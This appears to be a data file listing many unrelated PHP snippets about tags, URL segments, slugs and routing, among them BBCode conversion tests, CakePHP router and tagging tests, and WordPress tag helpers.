"public function provideUrlLikeTagTests() {\n $result = [\n [[\n 'descr' => \"[email] gets converted.\",\n 'bbcode' => \"Send complaints to [email][email protected][/email].\",\n 'html' => \"Send complaints to <a href=\\\"mailto:[email protected]\\\" class=\\\"bbcode_email\\\">[email protected]</a>.\",\n ]],\n [[\n 'descr' => \"[email] supports both forms.\",\n 'bbcode' => \"Send complaints to [[email protected]]John Smith[/email].\",\n 'html' => \"Send complaints to <a href=\\\"mailto:[email protected]\\\" class=\\\"bbcode_email\\\">John Smith</a>.\",\n ]],\n [[\n 'descr' => \"Bad addresses in [email] are ignored.\",\n 'bbcode' => \"Send complaints to [email]jo\\\"hn@@@exa:mple.com[/email].\",\n 'html' => \"Send complaints to [email]jo"hn@@@exa:mple.com[/email].\",\n ]],\n /*\n [[\n 'descr' => \"[video=youtube] gets converted.\",\n 'bbcode' => \"Watch this cute doggy!!! [video=youtube]dQw4w9WgXcQ[/video]\",\n 'html' => \"Watch this cute doggy!!! <object width=\\\"480\\\" height=\\\"385\\\"><param name=\\\"movie\\\" value=\\\"http://www.youtube.com/v/dQw4w9WgXcQ&hl=en_US&fs=1&\\\"></param><param name=\\\"allowFullScreen\\\" value=\\\"true\\\"></param><param name=\\\"allowscriptaccess\\\" value=\\\"always\\\"></param><embed src=\\\"http://www.youtube.com/v/dQw4w9WgXcQ&hl=en_US&fs=1&\\\" type=\\\"application/x-shockwave-flash\\\" allowscriptaccess=\\\"always\\\" allowfullscreen=\\\"true\\\" width=\\\"480\\\" height=\\\"385\\\"></embed></object>\",\n ]],\n [[\n 'descr' => \"[video=hulu] gets converted.\",\n 'bbcode' => \"Gleeks: [video=hulu]yuo37ilvL7pUlsKJmA6R0g[/video]\",\n 'html' => \"Gleeks: <object width=\\\"512\\\" height=\\\"288\\\"><param name=\\\"movie\\\" value=\\\"http://www.hulu.com/embed/yuo37ilvL7pUlsKJmA6R0g\\\"></param><param name=\\\"allowFullScreen\\\" value=\\\"true\\\"></param><embed src=\\\"http://www.hulu.com/embed/yuo37ilvL7pUlsKJmA6R0g\\\" type=\\\"application/x-shockwave-flash\\\" width=\\\"512\\\" height=\\\"288\\\" allowFullScreen=\\\"true\\\"></embed></object>\",\n ]],\n [[\n 'descr' => \"[video] ignores unknown video services.\",\n 'bbcode' => \"Watch this cute doggy!!! [video=flarb]abcdefg[/video]\",\n 'html' => \"Watch this cute doggy!!! [video=flarb]abcdefg[/video]\",\n ]],\n [[\n 'descr' => \"[video] ignores bad video IDs.\",\n 'bbcode' => \"Watch this cute doggy!!! [video=youtube]b!:=9_?[/video]\",\n 'html' => \"Watch this cute doggy!!! [video=youtube]b!:=9_?[/video]\",\n ]],\n [[\n 'descr' => \"[video] correctly supports width= and height= modifiers.\",\n 'bbcode' => \"Watch this cute doggy!!! [video=youtube width=320 height=240]dQw4w9WgXcQ[/video]\",\n 'html' => \"Watch this cute doggy!!! <object width=\\\"320\\\" height=\\\"240\\\"><param name=\\\"movie\\\" value=\\\"http://www.youtube.com/v/dQw4w9WgXcQ&hl=en_US&fs=1&\\\"></param><param name=\\\"allowFullScreen\\\" value=\\\"true\\\"></param><param name=\\\"allowscriptaccess\\\" value=\\\"always\\\"></param><embed src=\\\"http://www.youtube.com/v/dQw4w9WgXcQ&hl=en_US&fs=1&\\\" type=\\\"application/x-shockwave-flash\\\" allowscriptaccess=\\\"always\\\" allowfullscreen=\\\"true\\\" width=\\\"320\\\" height=\\\"240\\\"></embed></object>\",\n ]],\n */\n [[\n 'descr' => \"The [[wiki]] special tag produces a wiki link.\",\n 'bbcode' => \"This is a test of the [[wiki]] tag.\",\n 'html' => \"This is a test of the <a href=\\\"/?page=wiki\\\" class=\\\"bbcode_wiki\\\">wiki</a> tag.\",\n ]],\n [[\n 'descr' => \"The [[wiki]] special tag does not convert [a-zA-Z0-9'\\\".:_-].\",\n 'bbcode' => \"This is a test of the [[\\\"Ab1cd'Ef2gh_Ij3kl.,Mn4op:Qr9st-Uv0wx\\\"]] tag.\",\n 'html' => \"This is a test of the <a href=\\\"/?page=%22Ab1cd%27Ef2gh_Ij3kl.%2CMn4op%3AQr9st_Uv0wx%22\\\" class=\\\"bbcode_wiki\\\">"Ab1cd'Ef2gh_Ij3kl.,Mn4op:Qr9st-Uv0wx"</a> tag.\",\n ]],\n [[\n 'descr' => \"The [[wiki]] special tag can contain spaces.\",\n 'bbcode' => \"This is a test of the [[northwestern salmon]].\",\n 'html' => \"This is a test of the <a href=\\\"/?page=northwestern_salmon\\\" class=\\\"bbcode_wiki\\\">northwestern salmon</a>.\",\n ]],\n [[\n 'descr' => \"The [[wiki]] special tag cannot contain newlines.\",\n 'bbcode' => \"This is a test of the [[northwestern\\nsalmon]].\",\n 'html' => \"This is a test of the [[northwestern<br>\\nsalmon]].\",\n ]],\n [[\n 'descr' => \"The [[wiki]] special tag can contain a title after a | character.\",\n 'bbcode' => \"This is a test of the [[northwestern salmon|Northwestern salmon are yummy!]].\",\n 'html' => \"This is a test of the <a href=\\\"/?page=northwestern_salmon\\\" class=\\\"bbcode_wiki\\\">Northwestern salmon are yummy!</a>.\",\n ]],\n [[\n 'descr' => \"The [[wiki]] special tag doesn't damage anything outside it.\",\n 'bbcode' => \"I really loved reading [[arc 1|the first story arc]] because it was more entertaining than [[arc 2|the second story arc]] was.\",\n 'html' => \"I really loved reading <a href=\\\"/?page=arc_1\\\" class=\\\"bbcode_wiki\\\">the first story arc</a> because it was more entertaining than <a href=\\\"/?page=arc_2\\\" class=\\\"bbcode_wiki\\\">the second story arc</a> was.\",\n ]],\n [[\n 'descr' => \"The [[wiki]] special tag condenses and trims internal whitespace.\",\n 'bbcode' => \"This is a test of the [[ northwestern \\t salmon | Northwestern salmon are yummy! ]].\",\n 'html' => \"This is a test of the <a href=\\\"/?page=northwestern_salmon\\\" class=\\\"bbcode_wiki\\\">Northwestern salmon are yummy!</a>.\",\n ]],\n ];\n return $result;\n }",
"function getSegment($n)\n{\n foreach (explode(\"/\", preg_replace(\"|/*(.+?)/*$|\", \"\\\\1\", RURL)) as $val) {\n $val = clearSegment($val);\n if ($val != '') {\n $segments[] = $val;\n }\n }\n\n return isset($segments[$n - 1]) ? $segments[$n - 1] : \"\";\n}",
"private function get_category_breaking_segment($segments)\n {\n\n // var_dump($segments);\n }",
"function GetURLByTag( $tag ) {\n $url = \"\";\n if( empty( $tag['bookmark_id']) ) {\n $links = $this->find( 'all', array( 'conditions' => array('tag_id' => $tag['id'])));\n }else{\n $links = $this->find( 'all', array( 'conditions' => array('bookmark_id' => $tag['bookmark_id'])));\n if( count($links) == 0 ){\n $links = $this->find( 'all', array( 'conditions' => array('tag_id' => $tag['id'])));\n }\n }\n \n $links = $this->removeArrayWrapper('Link', $links);\n $link_count = count($links);\n if( $link_count == 0 ){\n return $url;\n }\n \n $type = $links[0]['type'];\n if( !isset($type) ){\n return $url;\n }\n switch($type){\n case Bookmark::TYPE_NORMAL :{\n $sub_type = 0;\n }break;\n case Bookmark::TYPE_OS :{ // normal\n $ua = $_SERVER['HTTP_USER_AGENT'];\n \n if (strpos($ua, 'Android') !== false) {\n $sub_type = 1;\n } elseif ( (strpos($ua, 'iPhone') !== false) || (strpos($ua, 'iPad') !== false) ) {\n $sub_type = 2;\n } else {\n $sub_type = 9;\n }\n }break;\n case Bookmark::TYPE_TAILS :{ // tails\n $tag_tag = $tag['tag'];\n $url = \"http://plate.id/tails/tails.php?tag=$tag_tag&atp=___SP_PLATETYPE____\";\n return $url;\n }break;\n case Bookmark::TYPE_RANDOM :{ // randam\n $sub_type = rand(1, $link_count);\n }break;\n case Bookmark::TYPE_ROTATE :{ // rotate\n $data_dir = TMP . '/data/smart_plate/rotate/';\n $file_name = $data_dir.$tag['id'].'.dat';\n \n if( file_exists($file_name) ){\n $rotate_count = file_get_contents($file_name);\n $sub_type = $rotate_count + 1;\n if($link_count < $sub_type ){\n $sub_type = 1;\n }\n }else{\n $sub_type = 1;\n }\n \n $black_list = array( 'ZXing (Android)' );\n $ua = $_SERVER['HTTP_USER_AGENT'];\n \n $write_flag = true;\n foreach ($black_list as $value) {\n if (strpos($ua,$value)!==false){\n $write_flag = false;\n break;\n }\n }\n if($write_flag){\n file_put_contents($file_name, $sub_type,LOCK_EX);\n }\n \n }break;\n } \n \n foreach ($links as $link) {\n if( $link['sub_type'] == $sub_type ){\n $url = $link['url'];\n \n // add by geo\n if( !empty($link['additional']) && $link['additional'] == self::ADDITIONAL_BASE_ID ){\n $url .= self::REPLACE_ACCESS_PLATE.self::REPLACE_USER_TOKEN;\n }\n /* if( empty($links['bookmark_id']) ){\n $url = $link['url'];\n }else{\n $url = BookmarkModel::SelectByID($link['bookmark_id']);\n }*/\n break;\n }\n }\n \n return $url;\n }",
"public function testGetItemSubCategoryTags()\n {\n }",
"function get_tag_link($tag)\n {\n }",
"public function testFindTaggedWithConditions() {\n\t\t$this->Tagged->recursive = -1;\n\t\t$result = $this->Tagged->find('tagged', array(\n\t\t\t'by' => 'cakephp',\n\t\t\t'model' => 'Article',\n\t\t\t'conditions' => array('Article.title LIKE' => 'Second %')));\n\t\t$this->assertEqual(count($result), 0);\n\n\t\t$result = $this->Tagged->find('tagged', array(\n\t\t\t'by' => 'cakephp',\n\t\t\t'model' => 'Article',\n\t\t\t'conditions' => array('Article.title LIKE' => 'First %')));\n\t\t$this->assertEqual(count($result), 1);\n\t\t$this->assertEqual($result[0]['Article']['id'], 'article-1');\n\t}",
"function nebula_url_components($segment=\"all\", $url=null) {\n\tif ( !$url ) {\n\t\t$url = nebula_requested_url();\n\t}\n\n\t$url_compontents = parse_url($url);\n\tif ( empty($url_compontents['host']) ) {\n\t\treturn;\n\t}\n\t$host = explode('.', $url_compontents['host']);\n\n\t//Best way to get the domain so far. Probably a better way by checking against all known TLDs.\n\tpreg_match(\"/[a-z0-9\\-]{1,63}\\.[a-z\\.]{2,6}$/\", parse_url($url, PHP_URL_HOST), $domain);\n\t$sld = substr($domain[0], 0, strpos($domain[0], '.'));\n\t$tld = substr($domain[0], strpos($domain[0], '.'));\n\n\tswitch ($segment) {\n\t\tcase ('all') :\n\t\t\treturn $url;\n\t\t\tbreak;\n\n\t\tcase ('protocol') : //Protocol and Scheme are aliases and return the same value.\n\t\tcase ('scheme') : //Protocol and Scheme are aliases and return the same value.\n\t\tcase ('schema') :\n\t\t\tif ( $url_compontents['scheme'] != '' ) {\n\t\t\t\treturn $url_compontents['scheme'];\n\t\t\t} else {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase ('host') : //In http://something.example.com the host is \"something.example.com\"\n\t\tcase ('hostname') :\n\t\t\treturn $url_compontents['host'];\n\t\t\tbreak;\n\n\t\tcase ('www') :\n\t\t\tif ( $host[0] == 'www' ) {\n\t\t\t\treturn 'www';\n\t\t\t} else {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase ('subdomain') :\n\t\tcase ('sub_domain') :\n\t\t\tif ( $host[0] != 'www' && $host[0] != $sld ) {\n\t\t\t\treturn $host[0];\n\t\t\t} else {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase ('domain') : //In http://example.com the domain is \"example.com\"\n\t\t\treturn $domain[0];\n\t\t\tbreak;\n\n\t\tcase ('basedomain') : //In http://example.com/something the basedomain is \"http://example.com\"\n\t\tcase ('base_domain') :\n\t\t\treturn $url_compontents['scheme'] . '://' . $domain[0];\n\t\t\tbreak;\n\n\t\tcase ('sld') : //In example.com the sld is \"example\"\n\t\tcase ('second_level_domain') :\n\t\tcase ('second-level_domain') :\n\t\t\treturn $sld;\n\t\t\tbreak;\n\n\t\tcase ('tld') : //In example.com the tld is \".com\"\n\t\tcase ('top_level_domain') :\n\t\tcase ('top-level_domain') :\n\t\t\treturn $tld;\n\t\t\tbreak;\n\n\t\tcase ('filepath') : //Filepath will be both path and file/extension\n\t\t\treturn $url_compontents['path'];\n\t\t\tbreak;\n\n\t\tcase ('file') : //Filename will be just the filename/extension.\n\t\tcase ('filename') :\n\t\t\tif ( contains(basename($url_compontents['path']), array('.')) ) {\n\t\t\t\treturn basename($url_compontents['path']);\n\t\t\t} else {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase ('path') : //Path should be just the path without the filename/extension.\n\t\t\tif ( contains(basename($url_compontents['path']), array('.')) ) { //@TODO \"Nebula\" 0: This will possibly give bad data if the directory name has a \".\" in it\n\t\t\t\treturn str_replace(basename($url_compontents['path']), '', $url_compontents['path']);\n\t\t\t} else {\n\t\t\t\treturn $url_compontents['path'];\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase ('query') :\n\t\tcase ('queries') :\n\t\t\treturn $url_compontents['query'];\n\t\t\tbreak;\n\n\t\tdefault :\n\t\t\treturn $url;\n\t\t\tbreak;\n\t}\n}",
"function _get_items_segments()\n{\n$segments = \"music/instruments/\";\nreturn $segments;\n\n}",
"public function testGetPostByTags()\n {\n $this->call('Get', '/post/tags/phpunit,test');\n $this->seeHeader('content-type', 'application/json');\n $this->seeStatusCode(200);\n }",
"function buildTagsDetail($tagName) {\n return url(\"tags/$tagName\");\n }",
"function website_tag_exists( $tag = '' ) {\n\n\tif ( $tag ) {\n\t\t$websites = get_website_data();\n\n\t\tforeach ( $websites as $w ) {\n\t\t\tif ( in_array( $tag, $w[ 'tags' ] ) ) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}\n\n\treturn true;\n}",
"protected function currentPageHasSubPages() {}",
"function in_tag_stack($tag_stack,$tags)\n{\n\tforeach ($tag_stack as $_temp)\n\t{\n\t\tif (in_array($_temp[0],$tags))\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}",
"public function testGetHashtagsPage()\n {\n $response = $this->runApp('POST', '/login', ['username' => '[email protected]', 'password' => 'really-secure']);\n $response = $this->runApp('GET', '/tags');\n\n $this->assertEquals(200, $response->getStatusCode());\n $this->assertContains('All Hashtags', (string) $response->getBody());\n $this->assertContains('Jump to', (string) $response->getBody());\n }",
"function L_GetPostTags() {\n\t\t\n\t\t//global $post;\n\t\t\n\t\t$tags = get_the_tags();\n\t\t$result = null;\n\t\t\t\t\n\t\t\t\tif ($tags != false) {\n\t\t\t\t\n\t\t\t\t\tforeach( $tags as $tag ) {\n\t\t\t\t\t\n\t\t\t\t\t\t//if ( $category->cat_ID != 1 ) {\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$result .= '<a href=\"' . get_tag_link( $tag->term_id ) . '\" title=\"' . sprintf( __( \"View posts by tag: %s\" ), $tag->name ) . '\" ' . '>' . $tag->name.'</a>';\n\t\t\t\t\t\t\n\t\t\t\t\t\t//}\n\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\treturn $result;\n\t\t\t\t\n\t\t\t\t} else {\n\t\t\t\t\t\n\t\t\t\t\treturn false;\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t}",
"private function assertSiteListContainsTaggedSite(): void\n {\n $siteList = $this->terminusJsonResponse(\n sprintf(\"site:list --filter='tags*=%s'\", self::TEST_SITE_TAG)\n );\n $this->assertIsArray($siteList);\n $this->assertCount(1, $siteList, 'Site list filtered by tag must contain exactly one item.');\n $this->assertTrue(\n isset($siteList[$this->getSiteId()]),\n 'Site list filtered by tag must contain the tagged site.'\n );\n }",
"function is_tag($decks,$tag) {\n\t// verfifies that a tag is defined \n\tforeach ($decks as $key => $value) {\n\t\tif ($value['tag'] == $tag) return true;\n\t}\t\n\treturn false;\n}",
"function is_active($tag) {\n if(isset($_GET['tag'])){\n if($_GET['tag'] === $tag) {\n return 'active';\n }else {\n return '';\n }\n }else {\n if($tag === null) {\n return 'active';\n }\n }\n}",
"public function testAddItemSubCategoryTag()\n {\n }",
"function tag_validation($tagType) {\n\n $validTags = array(\"!DOCTYPE\", \"a\", \"address\", \"article\", \"blockquote\", \"body\", \"br\", \"detail\", \"dfn\", \"div\", \"dl\", \"dt\", \"footer\", \"form\", \"h1\", \"h2\", \"h3\", \"h4\", \"h5\", \"h6\", \"head\", \"header\", \"HTML\", \"li\", \"link\", \"menu\", \"meta\", \"nav\", \"ol\", \"p\", \"section\", \"span\", \"style\", \"summary\", \"title\", \"ul\", \"img\");\n $specialTags = array(\"!DOCTYPE\", \"br\", \"link\", \"meta\");\n\n /* Makes sure the tag is a valid tag then checks to see if it is a special tag */\n if (in_array($tagType, $validTags) && in_array($tagType, $specialTags)) {\n $tag = 'Special';\n }\n\n /* Just makes sure it is a valid tag */ else if (in_array($tagType, $validTags)) {\n $tag = 'Normal';\n }\n\n /* Error handling for invalid tags */ else {\n $tag = 'Error';\n $errorMessage = \"Sorry \" . $tagType . \" is not a valid tag\";\n echo $errorMessage;\n echo \"\\n\";\n\n $errorLog = new ErrorFileHandler($this->logfile);\n $errorLog->add_to_error_log($errorMessage);\n }\n\n return $tag;\n }",
"public function testGetReplenishmentTags()\n {\n }",
"public function testParseParams(){\n $this->assertEquals($this->object->parseParams(array(\n 'type'=>'categorie-name',\n 'search'=>'android'\n )),'/type/categorie-name/search/android');\n \n $this->assertEquals($this->object->parseParams(array(\n 'type'=>'categorie-id',\n 'search'=>76\n )),'/type/categorie-id/search/76');\n }",
"public function testFragmentDoesntExist()\n {\n self::setupSystems();\n $ret = DALBaker::fragmentExists('MergeSys2', 'dummyFragment', 'MergeSys1.getLinks');\n PHPUnit_Framework_Assert::assertFalse($ret);\n\n }",
"function url_contains($string) {\n\n $url = URL;\n //check for string in url\n $lookup = strpos($url, $string);\n\n\n //If string is found, set the value of found_context\n if($lookup > 1 || $lookup !== false) {\n return true;\n }\n\n //If not found, set UNSET the value of found_context\n else {return false; }\n}",
"public function test_gather_tag_media() {\n\n $client = new GuzzleHttp\\Client();\n $crawler = new InstagramCrawler($client,$this->access_token,['russia'],[/*no users*/]);\n\n $data = $crawler->crawl();\n\n $this->assertNotEmpty($data['tags']);\n $this->assertTrue(array_key_exists('russia',$data['tags']));\n\n }",
"public static function segmentParserMissingSegmentAfterLink()\n {\n return 'The request URI is not valid. There must a segment specified after the \\'$links\\' segment and'\n . ' the segment must refer to a entity resource.';\n }",
"public function test_listTagsRequest() {\n\n }",
"public function testUrlGenerationWithPathUrl(): void\n {\n $routes = Router::createRouteBuilder('/');\n $routes->connect('/articles', 'Articles::index');\n $routes->connect('/articles/view/*', 'Articles::view');\n $routes->connect('/article/{slug}', 'Articles::read');\n $routes->connect('/admin/articles', 'Admin/Articles::index');\n $routes->connect('/cms/articles', 'Cms.Articles::index');\n $routes->connect('/cms/admin/articles', 'Cms.Admin/Articles::index');\n\n $result = Router::pathUrl('Articles::index');\n $expected = '/articles';\n $this->assertSame($result, $expected);\n\n $result = Router::pathUrl('Articles::view', [3]);\n $expected = '/articles/view/3';\n $this->assertSame($result, $expected);\n\n $result = Router::pathUrl('Articles::read', ['slug' => 'title']);\n $expected = '/article/title';\n $this->assertSame($result, $expected);\n\n $result = Router::pathUrl('Admin/Articles::index');\n $expected = '/admin/articles';\n $this->assertSame($result, $expected);\n\n $result = Router::pathUrl('Cms.Admin/Articles::index');\n $expected = '/cms/admin/articles';\n $this->assertSame($result, $expected);\n\n $result = Router::pathUrl('Cms.Articles::index');\n $expected = '/cms/articles';\n $this->assertSame($result, $expected);\n }",
"public function is_tag($tag = '')\n {\n }",
"public function testSearchParams() {\n $this->get('/api/VideoTags/search.json?tag_name=frontside');\n $this->assertResponseOk();\n $this->get('/api/VideoTags/search.json?rider_id=1');\n $this->assertResponseOk();\n $this->get('/api/VideoTags/search.json?sport_id=1');\n $this->assertResponseOk();\n $this->get('/api/VideoTags/search.json?tag_id=1');\n $this->assertResponseOk();\n $this->get('/api/VideoTags/search.json?trick-slug=frontside-360');\n $this->assertResponseOk();\n $this->get('/api/VideoTags/search.json?order=invalidorder');\n $this->assertResponseOk();\n $this->get('/api/VideoTags/search.json?order=begin_time');\n $this->assertResponseOk();\n $this->get('/api/VideoTags/search.json?order=created');\n $this->assertResponseOk();\n $this->get('/api/VideoTags/search.json?order=modified');\n $this->assertResponseOk();\n $this->get('/api/VideoTags/search.json?order=best');\n $this->assertResponseOk();\n $this->get('/api/VideoTags/search.json?video_tag_id=1');\n $this->assertResponseOk();\n $this->get('/api/VideoTags/search.json?tag_slug=myslug');\n $this->assertResponseOk();\n $this->get('/api/VideoTags/search.json?trick_slug=1');\n $this->assertResponseOk();\n $this->get('/api/VideoTags/search.json?video_tag_ids=1,2,3');\n $this->assertResponseOk();\n $this->get('/api/VideoTags/search.json?status=pending,invalidstatus');\n $this->assertResponseOk();\n $this->get('/api/VideoTags/search.json?sport_name=snowboard');\n $this->assertResponseOk();\n $this->get('/api/VideoTags/search.json?sport_name=snowboard&category_name=jib');\n $this->assertResponseOk();\n }",
"public function testUrlGenerationWithUrlFilter(): void\n {\n $routes = Router::createRouteBuilder('/');\n $routes->connect('/{lang}/{controller}/{action}/*');\n $request = new ServerRequest([\n 'params' => [\n 'plugin' => null,\n 'lang' => 'en',\n 'controller' => 'Posts',\n 'action' => 'index',\n ],\n ]);\n Router::setRequest($request);\n\n $calledCount = 0;\n Router::addUrlFilter(function ($url, $request) use (&$calledCount) {\n $calledCount++;\n $url['lang'] = $request->getParam('lang');\n\n return $url;\n });\n Router::addUrlFilter(function ($url, $request) use (&$calledCount) {\n $calledCount++;\n $url[] = '1234';\n\n return $url;\n });\n $result = Router::url(['controller' => 'Tasks', 'action' => 'edit']);\n $this->assertSame('/en/Tasks/edit/1234', $result);\n $this->assertSame(2, $calledCount);\n }",
"public static function segmentParserLinkSegmentMustBeFollowedByEntitySegment($segment)\n {\n return 'The request URI is not valid. The segment \\'' . $segment . '\\' must refer to a navigation property'\n . ' since the previous segment identifier is \\'$links\\'.';\n }",
"function TagsMain()\n{\n loadtemplate('Tags');\n\n // Load the language files\n if (loadlanguage('Tags') == false) {\n loadLanguage('Tags','english');\n }\n\n\n // Tags actions\n $subActions = array(\n 'edittopic' => 'EditTopic',\n 'edittopic2' => 'EditTopic2',\n 'suggesttopic' => 'SuggestTopic',\n 'suggesttopic2' => 'SuggestTopic2',\n 'approvetopic' => 'ApproveTopic',\n 'deletetopic' => 'DeleteTopic',\n 'rename' => 'RenameTag',\n 'viewall' => 'ViewAllTags',\n 'merge' => 'MergeTag',\n 'move' => 'MoveTag',\n 'admin' => 'TagsSettings',\n 'admin2' => 'TagsSettings2',\n 'cleanup' => 'TagCleanUp',\n );\n\n\n // Follow the sa or just go to main links index.\n if (!empty($subActions[@$_GET['sa']])) {\n $subActions[$_GET['sa']]();\n }\n else {\n if (allowedTo('smftags_manage')) {\n if (isset($_REQUEST['todo']) || isset($_REQUEST['create'])) {\n ManageTags2();\n }\n ManageTags();\n }\n ViewTags();\n }\n}",
"public function tags();",
"private function slug_exists($slug)\n\t\t{\n\t\t\t$where = '@slug=\"'.utf8_encode($slug).'\"';\n\t\t\t$node = $this->xml->xpath('/post/friendly/url['.$where.']');\n\n\t\t\tif($node==array())\n\t\t\t\treturn false;\n\n\t\t\treturn true;\n\t\t}",
"public function test_getCartonActivityTags() {\n\n }",
"public function hasTag(): bool;",
"public function tag( $slug ) {\n\t\t$data[\"tagInfo\"] = SM::getCache( 'tag_' . $slug, function () use ( $slug ) {\n\t\t\treturn Tag::with( \"blogs\" )\n\t\t\t ->where( \"slug\", $slug )\n\t\t\t ->where( 'status', 1 )\n\t\t\t ->first();\n\t\t} );\n\t\tif ( count( $data[\"tagInfo\"] ) > 0 ) {\n\t\t\t$page = \\request()->input( 'page', 0 );\n\t\t\t$key = 'tagBlogs_' . $data[\"tagInfo\"]->id . '_' . $page;\n\t\t\t$data[\"blogs\"] = SM::getCache( $key, function () use ( $data ) {\n\n\t\t\t\t$blog_posts_per_page = SM::smGetThemeOption(\n\t\t\t\t\t\"blog_posts_per_page\",\n\t\t\t\t\tconfig( \"constant.smFrontPagination\" )\n\t\t\t\t);\n\n\t\t\t\treturn $data[\"tagInfo\"]->blogs()\n\t\t\t\t ->where( \"status\", 1 )\n\t\t\t\t ->paginate( $blog_posts_per_page );\n\t\t\t}, [ 'tagBlogs' ] );\n\t\t\t$data['key'] = $key;\n\t\t\t$data['seo_title'] = $data['tagInfo']->seo_title;\n\t\t\t$data[\"meta_key\"] = $data[\"tagInfo\"]->meta_key;\n\t\t\t$data[\"meta_description\"] = $data[\"tagInfo\"]->meta_description;\n\t\t\t$data[\"image\"] = $data[\"tagInfo\"]->image != '' ? asset( SM::sm_get_the_src( $data[\"tagInfo\"]->image, 750, 560 ) ) : '';\n\n\t\t\treturn view( 'page.tag', $data );\n\t\t} else {\n\t\t\treturn abort( 404 );\n\t\t}\n\t}",
"public function hasContentSegment($segment);",
"function tag_cmdfunc($parts){\n\t// create a new post, and annotate it with acivity strea.ms\n\t// do feed discovery on tagged person's homepage url\n\tif (isset($parts[1])){\n\n\n if (strpos($parts[1], '.') !== false)\n $object = array('url'=>'http://'.$parts[1],'screen_name'=>$parts[2]);\n else\n\t $object = discover_twitter_person( $parts[1] );\n\t\n global $db,$request;\n\n $request->set_param( array( 'post', 'title' ), 'tagged '. $parts[1] . ' in a photo' );\n\n\t $Annotation =& $db->model('Annotation');\n\t if (!$db->table_exists('annotations'))\n\t $Annotation->save();\n\t\n\t $post = get_my_latest_object();\n\t\n\t\t$arr = add_thumbs_if_blob($post->url);\n\n\t\tif ($arr[0]){\n\t\t\t$preview = $arr[0];\n\t\t}\n\n\t\tif ($arr[5]){\n\t\t\t$preview = $arr[5];\n\t\t}\n\n\t $tagverb = 'http://activitystrea.ms/schema/1.0/tag';\n\t\n\t\t$ann = '[\n\t\t {\n\t\t \"annotations\": {\n\t\t \"activity\": {\n\t\t \"verb\": \"'.$tagverb.'\",\n\t\t\t \"target\": \"'.$post->url.'\",\n\t\t \"target-type\": \"photo\",\n\t\t \"target-link-preview\": \"'.$preview.'\",\n\t\t \"target-title\": \"'.$post->title.'\",\n\t\t \"target-id\": \"'.$post->url.'\",\n\t\t\t \"object\": \"'.$object['url'].'\",\n\t\t \"object-type\": \"person\",\n\t\t \"object-title\": \"'.$object['screen_name'].'\",\n\t\t \"object-id\": \"'.$object['url'].'\"\n\t\t } \n\t\t } \n\t\t }\n\t\t]';\n\n \t //object: person\n //target: photo\n preg_replace(\"/(^[\\r\\n]*|[\\r\\n]+)[\\s\\t]*[\\r\\n]+/\", \"\", $ann);\n\n\t\tif (!function_exists('json_encode'))\n\t\t lib_include('json');\n\t $j = new Services_JSON();\t\n\n\t $a = $Annotation->base();\n\t $a->set_value('json',$ann);\n\t $a->save();\n\t\n\t // feed discovery to notify the tagged person\n $feeds = discover_feeds( $object['url'] );\n\n foreach($feeds as $f){\n\n\t $input = discover_textInput($f);\n\n\t if (is_array($input)) {\n\n\t\t if (isset($input['link'])){\n\t\t\t $reply_to = $input['link'];\n\t\t\t $parts = split('mailto:',$reply_to);\n\t\t\t $recipient = $parts[1];\n\n\t\t\t\t global $request;\n\n\t\t\t\t $subject = 'You were tagged in a photo on '.$request->base;\n\n\t\t\t\t $email = \"Hi, you were tagged in this photo:\\n\\n\".$post->url.\"\\n\\n\";\n\n\t\t\t\t $html = false;\n\n\t\t\t\t send_email( $recipient, $subject, $email, environment('email_from'), environment('email_name'), $html );\n\n\t\t }\n\t }\n }\n\t\n if ($a->id > 0)\n\t\t\treturn $a;\n\t\n\t}\n\treturn false;\n}",
"protected function _checkRoutes($segments)\n {\n $routes = $this->_routes;//Config::getInstance()->get('routes');\n $max = count($segments);\n if ($max === 1){\n foreach ($routes as $key=>$value) {\n if ($key == $segments[0]) {\n $segments[0] = $value;\n }\n } \n } else {\n $url = $this->_createUrl($segments);\n foreach ($routes as $key=>$value) {\n if ($key === $url) {\n $url = $value;\n }\n }\n $segments = $this->uri->explodeUrl($url);\n }\n \n $this->_segments = $segments;\n }",
"public function testFindTagged() {\n\t\t$this->Tagged->recursive = -1;\n\t\t$result = $this->Tagged->find('tagged', array(\n\t\t\t'by' => 'cakephp',\n\t\t\t'model' => 'Article'));\n\t\t$this->assertEqual(count($result), 1);\n\t\t$this->assertEqual($result[0]['Article']['id'], 'article-1');\n\n\t\t$result = $this->Tagged->find('tagged', array(\n\t\t\t'model' => 'Article'));\n\t\t$this->assertEqual(count($result), 2);\n\n\t\t// Test call to paginateCount by Controller::pagination()\n\t\t$result = $this->Tagged->paginateCount(array(), 1, array(\n\t\t\t'model' => 'Article',\n\t\t\t'type' => 'tagged'));\n\t\t$this->assertEqual($result, 2);\n\t}",
"function AbbcOnTagstack($tagname)\r\n{\r\n\tglobal $ABBC;\r\n\r\n\tif (in_array($tagname, $ABBC['TagStack'])) return true;\r\n\r\n\tforeach ($ABBC['TagStack'] as $key => $value)\r\n\t{\r\n\t\tif ($ABBC['Tags'][$key]['nocase'] && !strcasecmp($key, $tagname))\r\n\t\t{\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\r\n\treturn false;\r\n}",
"public function is_tag_closer()\n {\n }",
